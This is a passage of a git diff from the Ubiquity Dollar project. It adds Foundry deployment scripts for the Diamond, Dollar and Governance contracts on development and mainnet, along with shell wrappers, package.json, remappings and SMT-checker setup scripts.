Dollar/Credit mint/burn mechanism which is not a part of the initial deployment) + * - DollarMintExcessFacet (used for Dollar/Credit mint/burn mechanism which is not a part of the initial deployment) + * - StakingFacet (staking is not a part of the initial deployment) + * - StakingFormulasFacet (staking is not a part of the initial deployment) + */ +contract Deploy001_Diamond_Dollar_Governance is Script, DiamondTestHelper { + // env variables + uint256 adminPrivateKey; + uint256 ownerPrivateKey; + uint256 initialDollarMintAmountWei; + + // owner and admin addresses derived from private keys store in `.env` file + address adminAddress; + address ownerAddress; + + // threshold in seconds when price feed response should be considered stale + uint256 CHAINLINK_PRICE_FEED_THRESHOLD; + + // Dollar related contracts + UbiquityDollarToken public dollarToken; + ERC1967Proxy public proxyDollarToken; + + // diamond related contracts + Diamond diamond; + DiamondInit diamondInit; + + // diamond facet implementation instances (should not be used directly) + AccessControlFacet accessControlFacetImplementation; + DiamondCutFacet diamondCutFacetImplementation; + DiamondLoupeFacet diamondLoupeFacetImplementation; + ManagerFacet managerFacetImplementation; + OwnershipFacet ownershipFacetImplementation; + UbiquityPoolFacet ubiquityPoolFacetImplementation; + + // oracle related contracts + AggregatorV3Interface chainLinkPriceFeedEth; // chainlink ETH/USD price feed + AggregatorV3Interface chainLinkPriceFeedLusd; // chainlink LUSD/USD price feed + ICurveStableSwapNG curveStableDollarPlainPool; // Curve's LUSD-Dollar plain pool + ICurveTwocryptoOptimized curveGovernanceEthPool; // Curve's Governance-WETH crypto pool + + // collateral ERC20 token used in UbiquityPoolFacet + IERC20 collateralToken; + + // Governance token related contracts + UbiquityAlgorithmicDollarManager ubiquityAlgorithmicDollarManager; + UbiquityGovernance ubiquityGovernance; + + // selectors for all of the facets + bytes4[] selectorsOfAccessControlFacet; + bytes4[] selectorsOfDiamondCutFacet; + bytes4[] selectorsOfDiamondLoupeFacet; + bytes4[] selectorsOfManagerFacet; + bytes4[] selectorsOfOwnershipFacet; + bytes4[] selectorsOfUbiquityPoolFacet; + + function run() public virtual { + // read env variables + adminPrivateKey = vm.envUint("ADMIN_PRIVATE_KEY"); + ownerPrivateKey = vm.envUint("OWNER_PRIVATE_KEY"); + initialDollarMintAmountWei = vm.envUint( + "INITIAL_DOLLAR_MINT_AMOUNT_WEI" + ); + + adminAddress = vm.addr(adminPrivateKey); + ownerAddress = vm.addr(ownerPrivateKey); + + //================== + // Before scripts + //================== + + beforeRun(); + + //=================== + // Deploy Diamond + //=================== + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // set all function selectors + selectorsOfAccessControlFacet = getSelectorsFromAbi( + "/out/AccessControlFacet.sol/AccessControlFacet.json" + ); + selectorsOfDiamondCutFacet = getSelectorsFromAbi( + "/out/DiamondCutFacet.sol/DiamondCutFacet.json" + ); + selectorsOfDiamondLoupeFacet = getSelectorsFromAbi( + "/out/DiamondLoupeFacet.sol/DiamondLoupeFacet.json" + ); + selectorsOfManagerFacet = getSelectorsFromAbi( + "/out/ManagerFacet.sol/ManagerFacet.json" + ); + selectorsOfOwnershipFacet = getSelectorsFromAbi( + "/out/OwnershipFacet.sol/OwnershipFacet.json" + ); + selectorsOfUbiquityPoolFacet = getSelectorsFromAbi( + "/out/UbiquityPoolFacet.sol/UbiquityPoolFacet.json" + ); + + // deploy facet implementation instances + accessControlFacetImplementation = new AccessControlFacet(); + diamondCutFacetImplementation = new DiamondCutFacet(); + diamondLoupeFacetImplementation = new DiamondLoupeFacet(); + managerFacetImplementation = new ManagerFacet(); + ownershipFacetImplementation = new OwnershipFacet(); + ubiquityPoolFacetImplementation = new UbiquityPoolFacet(); + + // prepare DiamondInit args + diamondInit = new DiamondInit(); + DiamondInit.Args memory diamondInitArgs = DiamondInit.Args({ + admin: adminAddress + }); + // prepare Diamond arguments + DiamondArgs memory diamondArgs = DiamondArgs({ + owner: ownerAddress, + init: address(diamondInit), + initCalldata: abi.encodeWithSelector( + DiamondInit.init.selector, + diamondInitArgs + ) + }); + + // prepare facet cuts + FacetCut[] memory cuts = new FacetCut[](6); + cuts[0] = ( + FacetCut({ + facetAddress: address(accessControlFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfAccessControlFacet + }) + ); + cuts[1] = ( + FacetCut({ + facetAddress: address(diamondCutFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDiamondCutFacet + }) + ); + cuts[2] = ( + FacetCut({ + facetAddress: address(diamondLoupeFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfDiamondLoupeFacet + }) + ); + cuts[3] = ( + FacetCut({ + facetAddress: address(managerFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfManagerFacet + }) + ); + cuts[4] = ( + FacetCut({ + facetAddress: address(ownershipFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfOwnershipFacet + }) + ); + cuts[5] = ( + FacetCut({ + facetAddress: address(ubiquityPoolFacetImplementation), + action: FacetCutAction.Add, + functionSelectors: selectorsOfUbiquityPoolFacet + }) + ); + + // deploy diamond + diamond = new Diamond(diamondArgs, cuts); + + // stop sending owner transactions + vm.stopBroadcast(); + + //======================= + // Diamond permissions + //======================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + AccessControlFacet accessControlFacet = AccessControlFacet( + address(diamond) + ); + + // grant diamond dollar minting and burning rights + accessControlFacet.grantRole( + DOLLAR_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + DOLLAR_TOKEN_BURNER_ROLE, + address(diamond) + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //========================= + // UbiquiPoolFacet setup + //========================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + UbiquityPoolFacet ubiquityPoolFacet = UbiquityPoolFacet( + address(diamond) + ); + + // add collateral token (users can mint/redeem Dollars in exchange for collateral) + uint256 poolCeiling = 10_000e18; // max 10_000 of collateral tokens is allowed + + ubiquityPoolFacet.addCollateralToken( + address(collateralToken), // collateral token address + address(chainLinkPriceFeedLusd), // chainlink LUSD/USD price feed address + poolCeiling // pool ceiling amount + ); + // enable collateral at index 0 + ubiquityPoolFacet.toggleCollateral(0); + // set mint and redeem fees + ubiquityPoolFacet.setFees( + 0, // collateral index + 0, // 0% mint fee + 0 // 0% redeem fee + ); + // set redemption delay to 2 blocks + ubiquityPoolFacet.setRedemptionDelayBlocks(2); + // set mint price threshold to $1.01 and redeem price to $0.99 + ubiquityPoolFacet.setPriceThresholds(1010000, 990000); + // set collateral ratio to 95% + ubiquityPoolFacet.setCollateralRatio(950_000); + + // stop sending admin transactions + vm.stopBroadcast(); + + //================== + // Dollar deploy + //================== + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // deploy proxy + bytes memory initDollarPayload = abi.encodeWithSignature( + "initialize(address)", + address(diamond) + ); + proxyDollarToken = new ERC1967Proxy( + address(new UbiquityDollarToken()), + initDollarPayload + ); + + // get Dollar contract which should be used in the frontend + dollarToken = UbiquityDollarToken(address(proxyDollarToken)); + + // stop sending owner transactions + vm.stopBroadcast(); + + //================ + // Dollar setup + //================ + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set Dollar token address in the Diamond + ManagerFacet managerFacet = ManagerFacet(address(diamond)); + managerFacet.setDollarTokenAddress(address(dollarToken)); + + // mint initial Dollar amount to owner for Curve's Dollar-3CRV metapool + dollarToken.mint(ownerAddress, initialDollarMintAmountWei); + + // stop sending admin transactions + vm.stopBroadcast(); + + //================= + // After scripts + //================= + + afterRun(); + } + + /** + * @notice Runs before the main `run()` method + * + * @dev Initializes collateral token + * @dev Collateral token is different for mainnet and development: + * - mainnet: uses LUSD address from `COLLATERAL_TOKEN_ADDRESS` env variables + * - development: deploys mocked ERC20 token from scratch + */ + function beforeRun() public virtual { + //================================= + // Collateral ERC20 token deploy + //================================= + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // deploy ERC20 mock token for ease of debugging + collateralToken = new MockERC20( + "Collateral test token", + "CLT_TEST", + 18 + ); + + // stop sending owner transactions + vm.stopBroadcast(); + } + + /** + * @notice Runs after the main `run()` method + * + * @dev Initializes: + * - oracle related contracts + * - Governance token related contracts + * + * @dev Ubiquity protocol supports 5 oracles: + * 1. Curve's LUSD-Dollar plain pool to fetch Dollar prices + * 2. Chainlink's price feed (used in UbiquityPool) to fetch LUSD/USD price (for getting Dollar price in USD) + * 3. Chainlink's price feed (used in UbiquityPool) to fetch collateral token prices in USD (for getting collateral price in USD) + * 4. Chainlink's price feed (used in UbiquityPool) to fetch ETH/USD price + * 5. Curve's Governance-WETH crypto pool to fetch Governance/ETH price + * + * There are 2 migrations (deployment scripts): + * 1. Development (for usage in testnet and local anvil instance) + * 2. Mainnet (for production usage in mainnet) + * + * Development migration deploys (for ease of debugging) mocks of: + * - Chainlink ETH/USD price feed contract + * - Chainlink LUSD/USD price feed contract (for getting Dollar and collateral prices in USD) + * - WETH token + * - Curve's LUSD-Dollar plain pool contract + * - Curve's Governance-WETH crypto pool contract + */ + function afterRun() public virtual { + ManagerFacet managerFacet = ManagerFacet(address(diamond)); + UbiquityPoolFacet ubiquityPoolFacet = UbiquityPoolFacet( + address(diamond) + ); + + // set threshold to 10 years (3650 days) for ease of debugging + CHAINLINK_PRICE_FEED_THRESHOLD = 3650 days; + + //======================================== + // Chainlink LUSD/USD price feed deploy + //======================================== + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // deploy LUSD/USD chainlink mock price feed + chainLinkPriceFeedLusd = new MockChainLinkFeed(); + + // stop sending owner transactions + vm.stopBroadcast(); + + //======================================= + // Chainlink LUSD/USD price feed setup + //======================================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set params for LUSD/USD chainlink price feed mock + MockChainLinkFeed(address(chainLinkPriceFeedLusd)).updateMockParams( + 1, // round id + 100_000_000, // answer, 100_000_000 = $1.00 (chainlink 8 decimals answer is converted to 6 decimals used in UbiquityPool) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set collateral price feed address and threshold in seconds + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + address(collateralToken), // collateral token address + address(chainLinkPriceFeedLusd), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // fetch latest prices from chainlink for collateral with index 0 + ubiquityPoolFacet.updateChainLinkCollateralPrice(0); + + // set Stable/USD price feed address and threshold in seconds + ubiquityPoolFacet.setStableUsdChainLinkPriceFeed( + address(chainLinkPriceFeedLusd), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //========================================= + // Curve's LUSD-Dollar plain pool deploy + //========================================= + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // Deploy mock Curve's LUSD-Dollar plain pool. + // Since we're using LUSD both as collateral and Dollar token pair + // in Curve's plain pool we don't deploy another mock of the "stable" coin + // paired to Dollar and simply use collateral token (i.e. LUSD). + curveStableDollarPlainPool = new MockCurveStableSwapNG( + address(collateralToken), + address(dollarToken) + ); + + // stop sending owner transactions + vm.stopBroadcast(); + + //======================================== + // Curve's LUSD-Dollar plain pool setup + //======================================== + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set curve's plain pool in manager facet + managerFacet.setStableSwapPlainPoolAddress( + address(curveStableDollarPlainPool) + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //=========================================== + // Deploy UbiquityAlgorithmicDollarManager + //=========================================== + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + ubiquityAlgorithmicDollarManager = new UbiquityAlgorithmicDollarManager( + ownerAddress + ); + + // stop sending owner transactions + vm.stopBroadcast(); + + //============================= + // Deploy UbiquityGovernance + //============================= + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + ubiquityGovernance = new UbiquityGovernance( + address(ubiquityAlgorithmicDollarManager) + ); + + // stop sending owner transactions + vm.stopBroadcast(); + + //================================== + // UbiquityGovernance token setup + //================================== + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + AccessControlFacet accessControlFacet = AccessControlFacet( + address(diamond) + ); + + // grant diamond Governance token minting and burning rights + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_MINTER_ROLE, + address(diamond) + ); + accessControlFacet.grantRole( + GOVERNANCE_TOKEN_BURNER_ROLE, + address(diamond) + ); + + // set Governance token address in manager facet + managerFacet.setGovernanceTokenAddress(address(ubiquityGovernance)); + + // stop sending admin transactions + vm.stopBroadcast(); + + //======================================= + // Chainlink ETH/USD price feed deploy + //======================================= + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // deploy ETH/USD chainlink mock price feed + chainLinkPriceFeedEth = new MockChainLinkFeed(); + + // stop sending owner transactions + vm.stopBroadcast(); + + //====================================== + // Chainlink ETH/USD price feed setup + //====================================== + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set ETH/USD price feed mock params + MockChainLinkFeed(address(chainLinkPriceFeedEth)).updateMockParams( + 1, // round id + 3000_00000000, // answer, 3000_00000000 = $3000 (8 decimals) + block.timestamp, // started at + block.timestamp, // updated at + 1 // answered in round + ); + + // set price feed for ETH/USD pair + ubiquityPoolFacet.setEthUsdChainLinkPriceFeed( + address(chainLinkPriceFeedEth), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //============================================== + // Curve's Governance-WETH crypto pool deploy + //============================================== + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // init mock WETH token + IERC20 wethToken = new MockERC20("WETH", "WETH", 18); + + // init Curve Governance-WETH crypto pool + curveGovernanceEthPool = new MockCurveTwocryptoOptimized( + address(ubiquityGovernance), + address(wethToken) + ); + + // stop sending owner transactions + vm.stopBroadcast(); + + //============================================= + // Curve's Governance-WETH crypto pool setup + //============================================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set ETH/Governance price to 30k in Curve pool mock + MockCurveTwocryptoOptimized(address(curveGovernanceEthPool)) + .updateMockParams(30_000e18); + + // set Governance-ETH pool + ubiquityPoolFacet.setGovernanceEthPoolAddress( + address(curveGovernanceEthPool) + ); + + // stop sending admin transactions + vm.stopBroadcast(); + } +} diff --git a/packages/contracts/migrations/development/deploy.sh b/packages/contracts/migrations/development/deploy.sh new file mode 100755 index 000000000..fb67b349a --- /dev/null +++ b/packages/contracts/migrations/development/deploy.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# load env variables +source .env + +# Deploy001_Diamond_Dollar_Governance (deploys Diamond, Dollar and Governance related contracts) +forge script migrations/development/Deploy001_Diamond_Dollar_Governance.s.sol:Deploy001_Diamond_Dollar_Governance --rpc-url $RPC_URL --broadcast -vvvv diff --git a/packages/contracts/migrations/mainnet/Deploy001_Diamond_Dollar_Governance.s.sol b/packages/contracts/migrations/mainnet/Deploy001_Diamond_Dollar_Governance.s.sol new file mode 100644 index 000000000..eb00a449d --- /dev/null +++ b/packages/contracts/migrations/mainnet/Deploy001_Diamond_Dollar_Governance.s.sol @@ -0,0 +1,290 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {AggregatorV3Interface} from "@chainlink/interfaces/AggregatorV3Interface.sol"; +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; +import {Deploy001_Diamond_Dollar_Governance as Deploy001_Diamond_Dollar_Governance_Development} from "../development/Deploy001_Diamond_Dollar_Governance.s.sol"; +import {UbiquityAlgorithmicDollarManager} from "../../src/deprecated/UbiquityAlgorithmicDollarManager.sol"; +import {UbiquityGovernance} from "../../src/deprecated/UbiquityGovernance.sol"; +import {ManagerFacet} from "../../src/dollar/facets/ManagerFacet.sol"; +import {UbiquityPoolFacet} from "../../src/dollar/facets/UbiquityPoolFacet.sol"; +import {ICurveStableSwapFactoryNG} from "../../src/dollar/interfaces/ICurveStableSwapFactoryNG.sol"; +import {ICurveStableSwapMetaNG} from "../../src/dollar/interfaces/ICurveStableSwapMetaNG.sol"; +import {ICurveTwocryptoOptimized} from "../../src/dollar/interfaces/ICurveTwocryptoOptimized.sol"; + +/// @notice Migration contract +contract Deploy001_Diamond_Dollar_Governance is + Deploy001_Diamond_Dollar_Governance_Development +{ + function run() public override { + // Run migration for testnet because "Deploy001_Diamond_Dollar_Governance" migration + // is identical both for testnet/development and mainnet + super.run(); + } + + /** + * @notice Runs before the main `run()` method + * + * @dev Initializes collateral token + * @dev Collateral token is different for mainnet and development: + * - mainnet: uses LUSD address from `COLLATERAL_TOKEN_ADDRESS` env variables + * - development: deploys mocked ERC20 token from scratch + */ + function beforeRun() public override { + // read env variables + address collateralTokenAddress = vm.envAddress( + "COLLATERAL_TOKEN_ADDRESS" + ); + + //================================= + // Collateral ERC20 token setup + //================================= + + // use existing LUSD contract for mainnet + collateralToken = IERC20(collateralTokenAddress); + } + + /** + * @notice Runs after the main `run()` method + * + * @dev Initializes: + * - oracle related contracts + * - Governance token related contracts + * + * @dev We override `afterRun()` from `Deploy001_Diamond_Dollar_Governance_Development` because + * we need to use already deployed contracts while `Deploy001_Diamond_Dollar_Governance_Development` + * deploys all oracle and Governance token related contracts from scratch for ease of debugging. + * + * @dev Ubiquity protocol supports 5 oracles: + * 1. Curve's LUSD-Dollar plain pool to fetch Dollar prices + * 2. Chainlink's price feed (used in UbiquityPool) to fetch LUSD/USD price (for getting Dollar price in USD) + * 3. Chainlink's price feed (used in UbiquityPool) to fetch collateral token prices in USD (for getting collateral price in USD) + * 4. Chainlink's price feed (used in UbiquityPool) to fetch ETH/USD price + * 5. Curve's Governance-WETH crypto pool to fetch Governance/ETH price + * + * There are 2 migrations (deployment scripts): + * 1. Development (for usage in testnet and local anvil instance) + * 2. Mainnet (for production usage in mainnet) + * + * Mainnet (i.e. production) migration uses already deployed contracts for: + * - Chainlink collateral price feed contract + * - Chainlink Stable/USD price feed contract (here "Stable" refers to the LUSD token from Curve's LUSD-Dollar plain pool) + * - UbiquityAlgorithmicDollarManager contract + * - UbiquityGovernance token contract + * - Chainlink ETH/USD price feed + * - Curve's Governance-WETH crypto pool + */ + function afterRun() public override { + // read env variables + address chainlinkPriceFeedAddressEth = vm.envAddress( + "ETH_USD_CHAINLINK_PRICE_FEED_ADDRESS" + ); + address chainlinkPriceFeedAddressLusd = vm.envAddress( + "COLLATERAL_TOKEN_CHAINLINK_PRICE_FEED_ADDRESS" + ); + address curveGovernanceEthPoolAddress = vm.envAddress( + "CURVE_GOVERNANCE_WETH_POOL_ADDRESS" + ); + + // set threshold to 1 hour (default value for ETH/USD and LUSD/USD price feeds) + CHAINLINK_PRICE_FEED_THRESHOLD = 1 hours; + + ManagerFacet managerFacet = ManagerFacet(address(diamond)); + UbiquityPoolFacet ubiquityPoolFacet = UbiquityPoolFacet( + address(diamond) + ); + + //======================================= + // Chainlink LUSD/USD price feed setup + //======================================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // init LUSD/USD chainlink price feed + chainLinkPriceFeedLusd = AggregatorV3Interface( + chainlinkPriceFeedAddressLusd + ); + + // set collateral price feed + ubiquityPoolFacet.setCollateralChainLinkPriceFeed( + address(collateralToken), // collateral token address + address(chainLinkPriceFeedLusd), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // fetch latest prices from chainlink for collateral with index 0 + ubiquityPoolFacet.updateChainLinkCollateralPrice(0); + + // set Stable/Dollar price feed + ubiquityPoolFacet.setStableUsdChainLinkPriceFeed( + address(chainLinkPriceFeedLusd), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //========================================= + // Curve's LUSD-Dollar plain pool deploy + //========================================= + + // start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // prepare parameters + address[] memory plainPoolCoins = new address[](2); + plainPoolCoins[0] = address(collateralToken); + plainPoolCoins[1] = address(dollarToken); + + uint8[] memory plainPoolAssetTypes = new uint8[](2); + plainPoolAssetTypes[0] = 0; + plainPoolAssetTypes[1] = 0; + + bytes4[] memory plainPoolMethodIds = new bytes4[](2); + plainPoolMethodIds[0] = bytes4(""); + plainPoolMethodIds[1] = bytes4(""); + + address[] memory plainPoolTokenOracleAddresses = new address[](2); + plainPoolTokenOracleAddresses[0] = address(0); + plainPoolTokenOracleAddresses[1] = address(0); + + // deploy Curve LUSD-Dollar plain pool + address curveDollarPlainPoolAddress = ICurveStableSwapFactoryNG( + 0x6A8cbed756804B16E05E741eDaBd5cB544AE21bf + ).deploy_plain_pool( + "LUSD/Dollar", // pool name + "LUSDDollar", // LP token symbol + plainPoolCoins, // coins used in the pool + 100, // amplification coefficient + 4000000, // trade fee, 0.04% + 20000000000, // off-peg fee multiplier + 2597, // moving average time value, 2597 = 1800 seconds + 0, // plain pool implementation index + plainPoolAssetTypes, // asset types + plainPoolMethodIds, // method ids for oracle asset type (not applicable for Dollar) + plainPoolTokenOracleAddresses // token oracle addresses (not applicable for Dollar) + ); + + // stop sending owner transactions + vm.stopBroadcast(); + + //======================================== + // Curve's LUSD-Dollar plain pool setup + //======================================== + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // set curve's plain pool in manager facet + managerFacet.setStableSwapPlainPoolAddress(curveDollarPlainPoolAddress); + + // stop sending admin transactions + vm.stopBroadcast(); + + //========================================== + // UbiquityAlgorithmicDollarManager setup + //========================================== + + // using already deployed (on mainnet) UbiquityAlgorithmicDollarManager + ubiquityAlgorithmicDollarManager = UbiquityAlgorithmicDollarManager( + 0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98 + ); + + //============================ + // UbiquityGovernance setup + //============================ + + // NOTICE: If owner address is `ubq.eth` (i.e. ubiquity deployer) it means that we want to perform + // a real deployment to mainnet so we start sending transactions via `startBroadcast()`. Otherwise + // we're in the forked mainnet anvil instance and the owner is not `ubq.eth` so we can't add "UBQ_MINTER_ROLE" + // and "UBQ_BURNER_ROLE" roles to the diamond contract (because only `ubq.eth` address has this permission). + // Also we can't use "vm.prank()" since it doesn't update the storage but only simulates a call. That is why + // if you're testing on an anvil instance forked from mainnet make sure to add "UBQ_MINTER_ROLE" and "UBQ_BURNER_ROLE" + // roles to the diamond contract manually. Take this command for inspiration: + // ``` + // DIAMOND_ADDRESS=0x9Bb65b12162a51413272d10399282E730822Df44; \ + // UBQ_ETH_ADDRESS=0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd; \ + // UBIQUITY_ALGORITHMIC_DOLLAR_MANAGER=0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98; \ + // cast rpc anvil_impersonateAccount $UBQ_ETH_ADDRESS; \ + // cast send --unlocked --from $UBQ_ETH_ADDRESS $UBIQUITY_ALGORITHMIC_DOLLAR_MANAGER "grantRole(bytes32,address)" $(cast keccak "UBQ_BURNER_ROLE") $DIAMOND_ADDRESS --rpc-url http://localhost:8545; \ + // cast send --unlocked --from $UBQ_ETH_ADDRESS $UBIQUITY_ALGORITHMIC_DOLLAR_MANAGER "grantRole(bytes32,address)" $(cast keccak "UBQ_MINTER_ROLE") $DIAMOND_ADDRESS --rpc-url http://localhost:8545; \ + // cast rpc anvil_stopImpersonatingAccount $UBQ_ETH_ADDRESS; + // ``` + address ubiquityDeployerAddress = 0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd; + + if (ownerAddress == ubiquityDeployerAddress) { + // Start sending owner transactions + vm.startBroadcast(ownerPrivateKey); + + // Owner (i.e. `ubq.eth` who is admin for UbiquityAlgorithmicDollarManager) grants diamond + // Governance token mint and burn rights + ubiquityAlgorithmicDollarManager.grantRole( + keccak256("UBQ_MINTER_ROLE"), + address(diamond) + ); + ubiquityAlgorithmicDollarManager.grantRole( + keccak256("UBQ_BURNER_ROLE"), + address(diamond) + ); + + // stop sending owner transactions + vm.stopBroadcast(); + } + + // using already deployed (on mainnet) Governance token + ubiquityGovernance = UbiquityGovernance( + 0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0 + ); + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // admin sets Governance token address in manager facet + managerFacet.setGovernanceTokenAddress(address(ubiquityGovernance)); + + // stop sending admin transactions + vm.stopBroadcast(); + + //====================================== + // Chainlink ETH/USD price feed setup + //====================================== + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // init ETH/USD chainlink price feed + chainLinkPriceFeedEth = AggregatorV3Interface( + chainlinkPriceFeedAddressEth + ); + + // set price feed for ETH/USD pair + ubiquityPoolFacet.setEthUsdChainLinkPriceFeed( + address(chainLinkPriceFeedEth), // price feed address + CHAINLINK_PRICE_FEED_THRESHOLD // price feed staleness threshold in seconds + ); + + // stop sending admin transactions + vm.stopBroadcast(); + + //============================================= + // Curve's Governance-WETH crypto pool setup + //============================================= + + // start sending admin transactions + vm.startBroadcast(adminPrivateKey); + + // init Curve Governance-WETH crypto pool + curveGovernanceEthPool = ICurveTwocryptoOptimized( + curveGovernanceEthPoolAddress + ); + + // set Governance-ETH pool + ubiquityPoolFacet.setGovernanceEthPoolAddress( + address(curveGovernanceEthPool) + ); + + // stop sending admin transactions + vm.stopBroadcast(); + } +} diff --git a/packages/contracts/migrations/mainnet/deploy.sh b/packages/contracts/migrations/mainnet/deploy.sh new file mode 100755 index 000000000..9f0920521 --- /dev/null +++ b/packages/contracts/migrations/mainnet/deploy.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# load env variables +source .env + +# Deploy001_Diamond_Dollar_Governance (deploys Diamond, Dollar and Governance related contracts) +forge script migrations/mainnet/Deploy001_Diamond_Dollar_Governance.s.sol:Deploy001_Diamond_Dollar_Governance --rpc-url $RPC_URL --broadcast -vvvv diff --git a/packages/contracts/package.json b/packages/contracts/package.json new file mode 100644 index 000000000..1b066e7ad --- /dev/null +++ b/packages/contracts/package.json @@ -0,0 +1,78 @@ +{ + "name": "@ubiquity/contracts", + "version": "1.0.1-beta", + "private": true, + "description": "Ubiquity Dollar smart contracts", + "author": "Ubiquity DAO", + "license": "Apache-2.0", + "homepage": "https://dao.ubq.fi/dollar", + "bugs": { + "url": "https://github.com/ubiquity/ubiquity-dollar/issues" + }, + "repository": { + "type": "git", + "url": "https://github.com/ubiquity/ubiquity-dollar.git" + }, + "dependencies": { + "@types/command-line-args": "5.2.0", + "command-line-args": "5.2.1", + "dotenv": "^16.0.3", + "ethers": "^6.6.0", + "react-transition-group": "^4.4.5", + "tsx": "^3.12.2" + }, + "scripts": { + "test:unit": "forge test", + "test:slither": "slither . --compile-force-framework foundry", + "test:echidna": "echidna-test . --config echidna.config.yml", + "test:coverage": "forge coverage", + "start:anvil": "anvil --fork-url https://mainnet.gateway.tenderly.co --chain-id 31337", + "prebuild": "run-p clean", + "deploy:development": "migrations/development/deploy.sh", + "deploy:mainnet": "migrations/mainnet/deploy.sh", + "clean": "run-p clean:*", + "clean:yarn": "yarn clean", + "clean:forge": "forge clean", + "build": "forge build", + "forge:install": "forge install", + "format": "prettier --plugin=prettier-plugin-solidity src/**/*.sol test/**/*.sol --write", + "docs": "FOUNDRY_PROFILE=docs forge doc --build", + "_hardhat-task": "tsx ./scripts/task/task.ts", + "run:solhint": "npx solhint 'src/**/*.sol'" + }, + "keywords": [ + "stablecoin", + "erc20", + "ethereum", + "defi", + "ubiquity", + "dao", + "dollar", + "decentralization", + "token", + "algorithmic" + ], + "lavamoat": { + "allowScripts": { + "core-js": false, + "keccak": false, + "secp256k1": false, + "web3": false, + "bufferutil": false, + "utf-8-validate": false, + "core-js-pure": false, + "postinstall-postinstall": false, + "husky": false + } + }, + "devDependencies": { + "@types/node": "^18.11.18", + "@types/react-transition-group": "^4", + "cspell": "latest", + "glob": "^10.3.0", + "prettier": "^3.1.0", + "prettier-plugin-solidity": "^1.2.0", + "solhint": "^4.0.0", + "typescript": "^4.9.4" + } +} diff --git a/packages/contracts/remappings.txt b/packages/contracts/remappings.txt new file mode 100644 index 000000000..638db8d7f --- /dev/null +++ b/packages/contracts/remappings.txt @@ -0,0 +1,11 @@ +@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts +@openzeppelin/contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts +forge-std/=lib/forge-std/src/ +ds-test/=lib/forge-std/lib/ds-test/src/ +solidity-linked-list/=lib/solidity-linked-list +@uniswap/v2-core/contracts/=lib/Uniswap/v2-core/contracts +@uniswap/v2-periphery/contracts/=lib/Uniswap/v2-periphery/contracts +@uniswap/v3-periphery/contracts/=lib/Uniswap/v3-periphery/contracts +abdk/=lib/abdk-libraries-solidity/ +operator-filter-registry/=lib/operator-filter-registry/src +@chainlink/=lib/chainlink-brownie-contracts/contracts/src/v0.8/ \ No newline at end of file diff --git a/packages/contracts/run-smt-setup b/packages/contracts/run-smt-setup new file mode 100755 index 000000000..185ba53e1 --- /dev/null +++ b/packages/contracts/run-smt-setup @@ -0,0 +1,12 @@ +#!/bin/bash + +# Define paths +foundryTomlPath="foundry.toml" +backupFoundryTomlPath="foundry.toml.backup" +smtScriptPath="scripts/smt-checker/smt/smt.ts" + +# Copy foundry.toml to backup file +cp -p "$foundryTomlPath" "$backupFoundryTomlPath" + +# Run smt.ts script +npx tsx "$smtScriptPath" diff --git a/packages/contracts/run-smt-setup.sh b/packages/contracts/run-smt-setup.sh new file mode 100755 index 000000000..185ba53e1 --- /dev/null +++ b/packages/contracts/run-smt-setup.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +# Define paths +foundryTomlPath="foundry.toml" +backupFoundryTomlPath="foundry.toml.backup" +smtScriptPath="scripts/smt-checker/smt/smt.ts" + +# Copy foundry.toml to backup file +cp -p 